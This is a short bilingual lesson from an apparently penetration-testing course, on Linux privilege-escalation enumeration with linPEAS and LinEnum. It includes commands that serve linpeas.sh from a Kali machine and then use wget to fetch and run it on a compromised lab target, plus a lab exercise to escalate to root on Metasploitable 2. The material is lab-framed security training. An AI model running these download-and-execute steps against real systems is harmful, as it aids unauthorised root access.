Ravindra BagaleCourses & study guides

26. Privilege Escalation

26.4 Automated Enumeration: linPEAS and LinEnum

Manual commands changle, pan linPEAS ani LinEnum he scripts sagli tapasani aapoaap kartat ani sambhavya escalation paths highlight kartat (rangit output madhe).

# on Kali: serve the script; on the target: download and run (lab only)
# Kali:
cd /usr/share/peass/linpeas 2>/dev/null || echo "install: sudo apt install peass"
python3 -m http.server 8000
# target (the compromised lab shell):
cd /tmp
wget http://192.168.56.10:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_out.txt      # read the RED/YELLOW highlights
# LinEnum is similar:
./LinEnum.sh -t

linPEAS marks the most promising findings in colour (red/yellow = likely escalation). It checks sudo rights, SUID, cron, writable files, passwords in files, kernel version and much more – in seconds.

Ravindra Bagale's Tip

linPEAS produces a lot of output and students panic. Look at the red/yellow highlights first – those are the real leads. And always run the script from /tmp (you have write permission there). Automated tool first, then confirm manually.

Lab

Run linPEAS on Metasploitable 2 from your Chapter 23 shell. List the top three red/yellow findings and, for one of them, escalate to root manually. Compare what linPEAS found with your manual enumeration from 26.2.